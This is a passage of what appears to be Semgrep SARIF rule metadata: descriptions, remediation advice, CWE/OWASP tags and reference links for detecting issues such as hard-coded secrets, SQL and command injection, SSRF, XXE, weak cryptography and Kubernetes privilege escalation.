retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","id":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","name":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","id":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","name":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher","id":"kotlin.lang.security.no-null-cipher.no-null-cipher","name":"kotlin.lang.security.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"help":{"markdown":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","id":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","name":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","id":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","name":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input)\n - [https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html](https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","id":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","name":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"help":{"markdown":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv)\n - [https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options)\n","text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","id":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","name":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","properties":{"precision":"very-high","tags":["CWE-1204: Generation of Weak Initialization Vector (IV)","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm-express.vm-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm-express.vm-express","id":"javascript.express.code.vm-express.vm-express","name":"javascript.express.code.vm-express.vm-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm-express.vm-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","id":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","name":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"help":{"markdown":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","id":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","name":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-regex-dos.check-regex-dos"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"help":{"markdown":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random","id":"java.lang.security.audit.crypto.weak-random.weak-random","name":"java.lang.security.audit.crypto.weak-random.weak-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-random.weak-random"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"help":{"markdown":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp)\n - [https://docs.python.org/3/library/tempfile.html#tempfile.mktemp](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"helpUri":"https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp","id":"python.lang.file.avoid-mktemp.avoid-mktemp","name":"python.lang.file.avoid-mktemp.avoid-mktemp","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.avoid-mktemp.avoid-mktemp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request)\n - [https://golang.org/pkg/net/http/#Get](https://golang.org/pkg/net/http/#Get)\n","text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-request.http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint","id":"go.net.sql.pg-sqli-taint.pg-sqli-taint","name":"go.net.sql.pg-sqli-taint.pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint.pg-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","id":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","name":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","id":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","name":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n","text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","id":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","name":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are 